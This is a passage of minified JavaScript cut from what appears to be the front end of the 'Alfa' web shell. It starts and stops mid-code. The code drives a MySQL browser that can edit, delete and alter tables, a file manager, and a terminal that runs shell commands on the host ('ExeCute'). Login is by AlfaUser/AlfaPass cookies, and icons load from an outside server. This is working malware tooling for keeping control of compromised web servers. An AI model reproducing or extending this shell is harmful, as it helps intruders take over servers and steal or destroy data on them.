50px;'><pre>"+t.query+"</pre></div>"+a+"</div>";d.querySelector("#"+e+" .mysql-query-reporter").innerHTML=i}function alfaMysqlTablePanelCtl(e){var t=e.getAttribute("db_id"),a=(t=e.getAttribute("db_id"),d.querySelector("#"+t)),i=a.querySelector(".tables-panel-ctl");"none"==i.getAttribute("mode")?(a.querySelector(".mysql-tables").style.display="block",i.setAttribute("mode","block"),i.innerHTML="&#x3C;&#x3C;",a.querySelector(".mysql-query-results-fixed").classList.remove("mysql-query-results-fixed")):(a.querySelector(".mysql-tables").style.display="none",i.setAttribute("mode","none"),i.innerHTML="&#x3E;&#x3E;",a.querySelector(".mysql-query-results").classList.add("mysql-query-results-fixed")),i.classList.toggle("tables-panel-ctl-min")}function alfaMysqlTabCtl(e,t){var a=void 0===t?e.getAttribute("db_id"):e.db_id,i=void 0===t?e.getAttribute("target"):e.target;d.querySelectorAll("#"+a+" .mysql-query-content").forEach(function(e){e.classList.add("mysql-hide-content")}),d.querySelector("#"+a+" .mysql-query-result-tabs .mysql-query-selected-tab").classList.remove("mysql-query-selected-tab"),void 0===t?e.classList.add("mysql-query-selected-tab"):d.querySelector("#"+a+" .mysql-query-result-tabs div:nth-child("+e.child+")").classList.add("mysql-query-selected-tab"),d.querySelector("#"+a+" "+i).classList.remove("mysql-hide-content")}function alfaLoadTableData(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_load_table_data",db_info:{table:t},post:{alfa2:"load_data"}},function(e){if(0!=e.length){e=JSON.parse(e);var l="",r="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>",o="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th><th>Change</th></tr>",n="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Collation</th><th>Operator</th><th>Value</th></tr>",s=["int","smallint","bigint","tinyint","mediumint"],c=["longtext","text","mediumtext","tinytext"];for(var u in e.columns){var p="text";-1!=s.indexOf(e.columns[u].data_type)&&(p="number"),n+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+e.columns[u].collation+"</td><td><select name='"+e.columns[u].name+"'><option value='='>=</option><option value='!='>!=</option><option value='>'>&gt;</option><option value='>='>&gt;=</option><option value='<'>&lt;</option><option value='<='>&lt;=</option><option value=\"= ''\">= ''</option><option value=\"!= ''\">!= ''</option><option value='LIKE'>LIKE</option><option value='LIKE %...%'>LIKE %...%</option><option value='NOT LIKE'>NOT LIKE</option><option value='REGEXP'>REGEXP</option><option value='REGEXP ^...$'>REGEXP ^...$</option><option value='NOT REGEXP'>NOT REGEXP</option><option value='IN (...)'>IN (...)</option><option value='NOT IN (...)'>NOT IN (...)</option><option value='BETWEEN'>BETWEEN</option><option value='NOT BETWEEN'>NOT BETWEEN</option><option value='IS NULL'>IS NULL</option><option value='IS NOT NULL'>IS NOT NULL</option></select></td><td><input type='"+p+"' name='"+e.columns[u].name+"'></td></tr>";var f=alfaMysqlLoadDataType(e.columns[u].data_type);null==e.columns[u].type_value&&(e.columns[u].type_value=""),o+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td><select name='sel_"+e.columns[u].name+"'>"+f+"</select></td><td><input name='value_"+e.columns[u].name+"' type='text' value='"+(-1==c.indexOf(e.columns[u].data_type)?e.columns[u].type_value:"")+"'></td><td><button col_name='"+e.columns[u].name+"' tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlAlterTbl(this);return false;'>Change</button></td></tr>";var m="";switch(e.columns[u].data_type){case"longtext":case"text":m="<textarea name='"+e.columns[u].name+"' rows='5'></textarea>";break;case"int":case"smallint":case"bigint":m="<input type='number' name='"+e.columns[u].name+"' value=''>";break;default:m="<input type='text' name='"+e.columns[u].name+"' value=''>"}r+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+m+"</td></tr>"}if(r+="</table><div style='margin-left:20px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"insert\");return false;'>Insert</button></div><div class='mysql-insert-result'></div>",o+="</table><div class='mysql-structure-qres'></div>",n+="</table><div style='padding-left: 384px;margin-top: 15px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlSearch(this);return false;'>Search</button></div>",e.pages>0){l+="<span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,1);'><<</span> <span> page: </span> <select tbl_name='"+t+"' db_target='"+a+"' name='mysql-q-pages' db_id='"+i+"' class='db-opt-id' onchange='alfaMysqlChangePage(this);' pages='"+e.pages+"'>";for(var b=1;b<e.pages+1;b++)l+="<option>"+b+"</option>";l+="</select><span> Of "+e.pages+"</span> <span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,2);'>>></span>"}var y=d.querySelector("#"+i);y.querySelector(".mysql-search-area").innerHTML=n,y.querySelector(".mysql-insert-row").innerHTML=r,y.querySelector(".mysql-edit-row").innerHTML="",y.querySelector(".mysql-structure").innerHTML=o,y.querySelector(".mysql-query-result-header .mysql-query-pager").innerHTML=l,y.querySelector(".mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:i,target:".mysql-query-result-content"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="none",alfaMysqlReportBuilder(i,e)}})}function alfaMysqlAlterTbl(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r=e.getAttribute("col_name"),o={};o.type=i.querySelector(".mysql-structure select[name=sel_"+r+"]").value,o.input=i.querySelector(".mysql-structure input[name=value_"+r+"]").value,alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_alter",db_info:{table:l,column:r,alter:o},post:{alfa2:"alter"}},function(e){var t=d.querySelector("#"+a+" .mysql-structure-qres");t.innerHTML=e,t.style.display="block"})}function alfaMysqlSearch(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r={};i.querySelectorAll(".mysql-search-area input, .mysql-search-area select").forEach(function(e){r.hasOwnProperty(e.name)||(r[e.name]={}),"SELECT"==e.tagName?r[e.name].opt=e.value:r[e.name].value=e.value}),alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_search_query",db_info:{table:l,search:r},post:{alfa2:"search"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaMysqlEditRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=(d.querySelector("#"+i),e.getAttribute("col_key")),r=e.getAttribute("key"),o=e.getAttribute("tbl_name"),n=e.getAttribute("row_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_table_edit_query",db_info:{table:o,col_key:l,key:r},post:{alfa2:t}},function(e){if(0!=e.length)if(e=JSON.parse(e),"edit"==t){var s="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>";for(var c in e){var u="";switch(e[c].type.tag){case"textarea":u="<textarea name='"+e[c].col+"' rows='5'>"+e[c].value+"</textarea>";break;case"input":u="<input type='"+e[c].type.type+"' name='"+e[c].col+"' value='"+e[c].value+"'>"}s+="<tr><th style='text-align: left;'>"+e[c].col+"</th><td>"+e[c].type.col_type+"</td><td>"+u+"</td></tr>"}s+="</table><div style='margin-left:20px;'><button col_key='"+l+"' key='"+r+"' tbl_name='"+o+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"edit\");return false;'>Update</button></div><div class='mysql-update-result'></div>",d.querySelector("#"+i+" .mysql-edit-row").innerHTML=s,alfaMysqlTabCtl({child:6,db_id:i,target:".mysql-edit-row"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="inline-block"}else"delete"==t&&(e.status?d.querySelector("#"+i+" .tbl_row_l"+n).remove():alert(e.error))})}function alfaMysqlTblSelectAll(e){var t=e.getAttribute("db_id");d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(t){t.checked=e.checked})}function alfaMysqlDeleteAllSelectedrows(e){var t=e.getAttribute("db_id"),a=e.getAttribute("db_target"),i=e.getAttribute("col_key"),l=e.getAttribute("tbl_name"),r=[];if(d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&r.push(e.value)}),0==r.length)return!1;alfaMysqlApi({db_id:t,db_target:a,ajax_id:"mysql_table_delete_all_query",db_info:{table:l,col_key:i,rows:r},post:{alfa2:"delete_all"}},function(e){if(""!=e)if((e=JSON.parse(e)).status){var a=0,i=d.querySelector("#"+t);d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&(a=e.getAttribute("row_id"),i.querySelector(".tbl_row_l"+a).remove())})}else alert(e.error)})}function alfaMysqlUpdateRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=d.querySelector("#"+i),r=".mysql-insert-row",o=".mysql-insert-result",n="mysql_table_insert_query",s="insert",c={table:e.getAttribute("tbl_name")};if("edit"==t){var u=e.getAttribute("col_key"),p=e.getAttribute("key");r=".mysql-edit-row",o=".mysql-update-result",n="mysql_table_update_query",s="update",c.col_key=u,c.key=p}var f={};l.querySelectorAll(r+" input, "+r+" textarea").forEach(function(e){f.hasOwnProperty(e.name)||(f[e.name]={}),f[e.name]=e.value}),c.data=f,alfaMysqlApi({db_id:i,db_target:a,ajax_id:n,db_info:c,post:{alfa2:s}},function(e){if(0!=e.length){e=JSON.parse(e);var t=d.querySelector("#"+i+" "+o);t.style.display="block",e.status?t.innerHTML="Success...":t.innerHTML=e.error}})}function alfaMysqlLoadDataType(e){e=e.toUpperCase();var t=["INT","VARCHAR","TEXT","DATE",{key:"Numeric",vals:["TINYINT","SMALLINT","MEDIUMINT","INT","BIGINT","-","DECIMAL","FLOAT","DOUBLE","REAL","-","BIT","BOOLEAN","SERIAL"]},{key:"Date and time",vals:["DATE","DATETIME","TIMESTAMP","TIME","YEAR"]},{key:"String",vals:["CHAR","VARCHAR","-","TINYTEXT","TEXT","MEDIUMTEXT","LONGTEXT","-","BINARY","VARBINARY","-","TINYBLOB","MEDIUMBLOB","BLOB","LONGBLOB","-","ENUM","SET"]},{key:"Spatial",vals:["GEOMETRY","POINT","LINESTRING","POLYGON","MULTIPOINT","MULTILINESTRING","MULTIPOLYGON","GEOMETRYCOLLECTION"]},{key:"JSON",vals:["JSON"]}],a="",i=!1;for(var l in t)if("object"==typeof t[l]){for(var r in a+='<optgroup label="'+t[l].key+'">',t[l].vals)a+="<option"+(t[l].vals[r]!=e||i?"":" selected")+">"+t[l].vals[r]+"</option>",t[l].vals[r]==e&&(i=!0);a+="</optgroup>"}else a+="<option"+(t[l]!=e||i?"":" selected")+">"+t[l]+"</option>",t[l]==e&&(i=!0);return a}function alfaMysqlChangePage(e,t){var a=e.getAttribute("db_id"),i=0;if(void 0!==t){e=d.querySelector("#"+a+" select[name=mysql-q-pages]");var l=parseInt(e.getAttribute("pages"));if(i=parseInt(e.value),1==t?--i:++i,0==i||l<i)return!1;e.value=i}else i=e.value;var r=e.getAttribute("db_target"),o=e.getAttribute("tbl_name");alfaMysqlApi({db_id:a,db_target:r,ajax_id:"mysql_table_change_page",db_info:{table:o,page:i},post:{alfa2:"page"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaRemoveCookie(e){document.cookie=e+"=;Max-Age=0; path=/;"}function alfaLogOut(){alfaRemoveCookie("AlfaUser"),alfaRemoveCookie("AlfaPass"),location.reload()}var alfaAlertBox=function(e,t){this.types={success:{class:"alert-success",icon:"http://solevisible.com/icons/menu/check-mark1.svg"},error:{class:"alert-error",icon:"http://solevisible.com/icons/menu/warning.svg"}},this.show=function(a){if(""===a||null==a)throw'"msg parameter is empty"';var i=document.querySelector(e),l=document.createElement("DIV"),r=document.createElement("DIV"),o=document.createElement("DIV"),n=document.createElement("A"),s=document.createElement("div"),c=document.createElement("IMG"),d=this;if(s.style.display="inline-block",s.style.marginRight="10px",r.style.display="inline-block",o.classList.add("alert-content"),o.innerText=a,n.classList.add("alert-close"),n.setAttribute("href","#"),l.classList.add("alert-box"),c.src=this.types[t.type].icon,c.style.width="30px",s.appendChild(c),l.appendChild(s),t.hasOwnProperty("title")){var u=document.createElement("DIV");u.classList.add("alert-content-title"),u.innerText=t.title,r.appendChild(u)}if(r.appendChild(o),l.appendChild(r),t.hideCloseButton&&void 0!==t.hideCloseButton||l.appendChild(n),t.hasOwnProperty("type")&&l.classList.add(this.types[t.type].class),i.appendChild(l),n.addEventListener("click",function(e){e.preventDefault(),d.hide(l)}),!t.persistent)var p=setTimeout(function(){d.hide(l),clearTimeout(p)},t.closeTime)},this.hide=function(e){e.classList.add("hide");var t=setTimeout(function(){e.parentNode.removeChild(e),clearTimeout(t)},500)}};function alfaShowNotification(e,t,a,i,l){void 0===a&&(a="success"),void 0===i&&(i=!1),void 0===l&&(l=1e4);var r={closeTime:l,persistent:i,type:a,hideCloseButton:!1};void 0!==t&&(r.title=t),new alfaAlertBox("#alert-area",r).show(e)}function alfaSyncMenuToOpt(e,t){var a="",i="",l=null;void 0!==t?(a="view_archive",i=e,l=location):(a=e.name,i=e.getAttribute("fname"),l=e),"extract"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=deziper",g("deziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="DeCompressor"):"compress"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=ziper",g("ziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="Compressor"):"view_archive"==a&&(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=archive_manager",g("archive_manager",null,"",c_+"/"+i,""),d.querySelector(".opt-title").innerHTML="Archive Manager")}function doFilterName(e){var t="#filesman_holder_"+alfa_current_fm_id;setTimeout(function(){var a=new RegExp(e.value,"i");d.querySelectorAll(t+" .fmanager-row").forEach(function(e){-1==e.querySelector(".main_name").getAttribute("fname").search(a)?e.style.display="none":e.style.display="table-row"})},100)}function sortBySelectedValue(e,t){setCookie(t,e.options[e.selectedIndex].value,2012),g("FilesMan",c_)}function loadPopUpDatabase(e,t,a){if(console.log(t),$("database_window").style.display="block",void 0===t){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}try{d.querySelector(".sql-tabs .sql-newtab").remove()}catch(e){}var i="id_db_"+getRandom(10);d.querySelector("#database_window .content_options_holder .sql-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="sql-content sql-active-content">'+e+"</div>"),d.querySelector("#database_window .content_options_holder .sql-tabs").insertAdjacentHTML("beforeend",'<div id="tab_'+i+'" opt_id="'+i+'" class="sql-tabname sql-active-tab" onclick="dbTabController(this);"><span style="font-weight:unset;">New DB Connection</span> <img opt_id="'+i+'" onclick="closeDatabase(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div><div class="sql-newtab" onclick="alfa_can_add_opt=true;g(\'sql\',null,\'\',\'\',\'\');" style="background-color:#800000;"><span style="font-weight:unset;">New Tab +</span></div>'),$(i).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",i)});try{$(i).querySelector(".getconfig").setAttribute("base_id",i)}catch(e){}return i}$(t).innerHTML=e;var l=$("tab_"+t);null!=l&&((-1==l.classList.value.indexOf("sql-active-tab")||database_window_is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","DB: "+l.innerText)),database_window_is_minimized&&alfaUpdateOptionsBadge("database_window")),void 0!==mysql_cache[t]&&mysql_cache[t].hasOwnProperty("db")&&mysql_cache[t].db.length>0&&"update"!=a&&(d.querySelector("#tab_"+t+">span").innerHTML=mysql_cache[t].db),$(t).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",t)});try{$(t).querySelector(".getconfig").setAttribute("base_id",t)}catch(e){}database_window_is_minimized||(d.body.style.overflow="hidden")}function loadPopUpOpTions(e,t){console.log(e),alfa_before_do_action_id="",$("options_window").style.display="block";var a=$("option_"+e);if(alfa_can_add_opt){alfa_can_add_opt=!1;try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var i="",l=$("menu_opt_"+e).innerHTML;"market"==e?l="Alfa Market":"GetDisFunc"==e&&(l="Disable Functions");try{d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}if(null!=a){var r=a.getAttribute("opt_count");null!=r?(i=parseInt(r)+1,a.setAttribute("opt_count",i)):(i=1,a.setAttribute("opt_count",i))}var o="option_"+e+i;d.querySelector("#options_window .content_options_holder .options_content").insertAdjacentHTML("afterbegin",'<div id="'+o+'" class="options_holder">'+t+"</div>"),d.querySelector("#options_window .content_options_holder .options_tab").insertAdjacentHTML("beforeend",'<div opt_id="'+o+'" onclick="optionsTabController(this);" title="'+l+'" id="tab_'+o+'" class="tab_name tab_is_active">'+l+' <img opt_id="'+o+'" onclick="closeOption(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),$(o).classList.toggle("option_is_active"),d.querySelectorAll("#"+o+" form, #"+o+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var l=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+i+'");'+l),t.setAttribute("opt_id",e+i)}else{l=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+i+'");'+l)}});try{$(o).querySelector(".getconfig").setAttribute("base_id",e+i)}catch(e){}return e+i}a.innerHTML=t;var n=$("tab_option_"+e);null!=n&&((-1==n.classList.value.indexOf("tab_is_active")||options_window_is_minimized)&&(n.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",n.innerText)),options_window_is_minimized&&alfaUpdateOptionsBadge("options_window")),d.querySelectorAll("#option_"+e+" form, #option_"+e+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var i=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+'");'+i),t.setAttribute("opt_id",e)}else{i=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+'");'+i)}});try{a.querySelector(".getconfig").setAttribute("base_id",e)}catch(e){}options_window_is_minimized||(d.body.style.overflow="hidden")}function alfaBeforeDoAction(e){alfa_before_do_action_id=e}function alfaLoaderOnTop(e){$("a_loader").style.display=e,d.body.style.overflow="block"==e?"hidden":"visible"}function alfaAjaxController(e){var t=e.getAttribute("parent");$("loader_"+t).remove(),"filesman_holder"==t.substr(0,15)&&($(t).style.minHeight="0"),_ALFA_AJAX_.hasOwnProperty(t)&&_ALFA_AJAX_[t].abort()}function closeDatabase(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("sql-active-tab"))if((e=d.querySelectorAll(".sql-tabs .sql-tabname")).length>1){e[0].classList.add("sql-active-tab");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("sql-active-content")}else editorClose("database_window");d.querySelector("div[opt_id="+a+"]").remove()}function closeFmTab(e,t){t.stopPropagation();var a=e.getAttribute("fm_id"),i=$("filesman_tab_"+a);if(-1!=i.classList.value.indexOf("filesman-tab-active")&&(e=d.querySelectorAll("#filesman_tabs .filesman_tab")).length>1){e[0].classList.add("filesman-tab-active");var l=e[0].getAttribute("fm_id"),r="filesman_holder_"+l;if(null!=$(r)){$(r).classList.toggle("filesman-active-content");var o=$("filesman_tab_"+l).getAttribute("path");initDir(o),d.mf.c.value=o,alfa_current_fm_id=l}}i.remove(),$("filesman_holder_"+a).remove(),alfaFilesmanTabHideTitle()}function closeOption(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("tab_is_active"))if((e=d.querySelectorAll(".options_tab .tab_name")).length>1){e[0].classList.add("tab_is_active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("option_is_active")}else editorClose("options_window");d.querySelector("div[opt_id="+a+"]").remove()}function historyPanelController(e){"hidden"==e.getAttribute("mode")?(d.querySelector(".editor-explorer").style.display="block",d.querySelector(".editor-modal").style.marginLeft="20%",e.setAttribute("mode","visible"),e.style.left="19%",e.innerHTML="<<"):(d.querySelector(".editor-explorer").style.display="none",d.querySelector(".editor-modal").style.marginLeft="1%",e.setAttribute("mode","hidden"),e.style.left="0%",e.innerHTML=">>")}function closeTerminalContent(e,t){t.stopPropagation();var a=e.getAttribute("term_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("active-terminal-tab"))&&(e=d.querySelectorAll(".terminal-tabs .terminal-tab")).length>1){e[0].classList.add("active-terminal-tab");var i=e[0].getAttribute("term_id");null!=$(i)&&$(i).classList.toggle("active-terminal-content")}d.querySelector("div[term_id="+a+"]").remove()}function closeEditorContent(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("editor-tab-active"))&&(e=d.querySelectorAll(".editor-tabs .editor-tab-name")).length>1){e[0].classList.add("editor-tab-active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("editor-content-active")}d.querySelector("div[opt_id="+a+"]").remove()}function optionsTabController(e){try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("option_is_active");try{d.querySelector("#options_window .content_options_holder .options_tab \t.tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("tab_is_active"),d.querySelector(".opt-title").innerHTML=e.getAttribute("title"),alfaUpdateOptionsBadge("options_window")}function terminalTabController(e){try{d.querySelector(".terminal-tab.active-terminal-tab").classList.remove("active-terminal-tab")}catch(e){}try{d.querySelector(".terminal-content.active-terminal-content").classList.remove("active-terminal-content")}catch(e){}var t=e.getAttribute("term_id");if(null==t)return!1;$(t).classList.toggle("active-terminal-content"),e.classList.remove("tab-is-done"),e.classList.add("active-terminal-tab"),$(t).querySelector(".php-terminal-input").focus(),alfaUpdateOptionsBadge("cgiloader")}function filesmanTabController(e){try{d.querySelector(".ajaxarea.filesman-active-content").classList.remove("filesman-active-content")}catch(e){}try{d.querySelector(".filesman_tab.filesman-tab-active").classList.remove("filesman-tab-active")}catch(e){}var t=e.getAttribute("fm_id");if(null==t)return!1;alfa_current_fm_id=t,e.classList.add("filesman-tab-active"),e.classList.remove("tab-is-done"),$("filesman_holder_"+t).classList.toggle("filesman-active-content");var a=e.getAttribute("path");initDir(a),d.mf.c.value=a}function dbTabController(e){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("sql-active-content"),e.classList.remove("tab-is-done"),e.classList.add("sql-active-tab"),alfaUpdateOptionsBadge("database_window")}function editorTabController(e,t){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}var a=null;void 0===t?a=e.getAttribute("opt_id"):(a=e,e=$("tab_"+a));var i=editor_files["file_"+a.replace("editor_source_","")];if(void 0!==i&&(d.querySelector(".editor-path").innerHTML=(i.pwd+"/"+i.file).replace(/\/\//g,"/")),null==a)return!1;$(a).classList.toggle("editor-content-active");try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("editor-tab-active"),alfaUpdateOptionsBadge("editor")}function alfaUpdateOptionsBadge(e){var t=d.querySelector("#"+e+"-minimized .options_min_badge");if(null!=t){var a=d.querySelectorAll("#"+e+" .tab-is-done").length;t.innerHTML=a,t.style.visibility=a>0?"visible":"hidden"}}function alfaOpenPhpTerminal(e){if(php_temrinal_using_cgi&&void 0===e)showEditor("cgiloader");else{$("cgiloader").style.display="block",$("cgiloader").style.background="rgba(0, 0, 0, 0.57)",$("cgiframe").style.background="rgba(0, 0, 0, 0.81)",$("cgiframe").style.border="1px solid rgb(30, 86, 115)",$("cgiframe").style.height="90%",$("cgiframe").style.padding="3px",d.querySelector("#cgiloader .opt-title").innerHTML="Terminal";var t="",a="",i="terminal_id_"+getRandom(10);void 0===e&&(t=" active-terminal-content",a=" active-terminal-tab"),d.querySelector("#cgiframe .terminal-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="terminal-content'+t+'"><div class="php-terminal-output"><div><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+'\',1);">+</button><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+"',0);\">-</button><input onchange=\"alfaTerminalChangecolor(this,'"+i+'\');" style="height: 18px;background: #dde2e2;" type="color"></div><pre class="ml1" style="border:unset;height: 90%;"></pre></div><div><form term_id="'+i+'" onSubmit="alfaExecTerminal(this);this.c.value=\'\';return false;" autocomplete="off" style="margin-top: 10px;"><div style="overflow: auto;white-space: nowrap;"><div style="display: inline-block;color:#4fbec3;margin-bottom:5px;margin-right:5px;">CWD:~# </div><div style="display: inline-block;color:#42ec42;" class="php-terminal-current-dir"></div></div><div style="position:relative;"><span style="color: #00ff08;font-size: 25px;">$ </span><input style="padding: 8px;font-size: 20px;width: 67%;border: 1px solid #27979B;padding-right:35px;" onkeyup="alfaWalkInTerminalHistory(this,event,\''+i+'\');" term_id="'+i+'" class="php-terminal-input" type="text" name="c" onfocus="closeHistoryCmd(\'free\',this);" placeholder="ls -la"><button class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;">ExeCute<button term_id="'+i+'" class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;" onClick="alfaExecTerminal(this, 1);return false;">Current Dir</button><div class="cmd-history-holder"><div class="commands-history-header">History</div><span onClick="clearTerminalHistory();" style="border-bottom: 1px solid;margin-bottom: 5px;display: inline-block;padding: 5px;color: #59de69;cursor: pointer;">Clear history</span><div style="overflow: auto;height: 82%;" class="commands-history"></div></div><div term_id="'+i+'" class="cmd-history-icon" mode="" onclick="closeHistoryCmd(this);"><img style="width:27px;" src="http://solevisible.com/icons/menu/time2.svg"></div></form></div></div></div>');try{$("terminal_new_tab").remove()}catch(e){}d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="terminalTabController(this);" term_id="'+i+'" id="tab_'+i+'" class="terminal-tab'+a+'">Terminal <img term_id="'+i+'" onclick="closeTerminalContent(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="alfaOpenPhpTerminal(true);" id="terminal_new_tab" style="background-color:#800000;" class="terminal-tab">New Tab +</div>'),terminal_walk_index[i]={index:0,key:-1},d.querySelector("#"+i+" .php-terminal-input").focus(),d.querySelector("#"+i+" .php-terminal-current-dir").innerHTML=c_,d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Terminal",alfaTerminalSetColorAndSize(i),php_temrinal_using_cgi=!0;var l=alfaGetTerminalHistory();for(var r in l)d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+l[r]+"</div>")}d.body.style.overflow="hidden"}function alfaTerminalSetColorAndSize(e){var t=getCookie("alfa-terminal-color"),a=getCookie("alfa-terminal-fontsize");void 0!==t&&(d.querySelector("#"+e+" pre.ml1").style.color=t),void 0!==a&&(d.querySelector("#"+e+" pre.ml1").style.fontSize=a)}function alfaTerminalChangecolor(e,t){d.querySelector("#"+t+" pre.ml1").style.color=e.value,setCookie("alfa-terminal-color",e.value,2012)}function alfaGetTerminalHistory(e){var t=getCookie("alfa-terminal-history");try{t=atob(t),t=JSON.parse(t)}catch(e){t=[]}return void 0!==e&&t.reverse(),t}function changeTerminalFontSize(e,t){var a=d.querySelector("#"+e+" pre.ml1"),i=parseInt(window.getComputedStyle(a,null).getPropertyValue("font-size")),l="";1==t?(l=i+1+"px",a.style.fontSize=l):(l=i-1+"px",a.style.fontSize=l),setCookie("alfa-terminal-fontsize",l,2012)}function alfaWalkInTerminalHistory(e,t,a){var i=t||window.event;if("38"==i.keyCode||"40"==i.keyCode||"37"==i.keyCode||"39"==i.keyCode)switch(i.keyCode){case 38:var l=alfaGetTerminalHistory(!0),r="";0==terminal_walk_index[a].index?(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,void 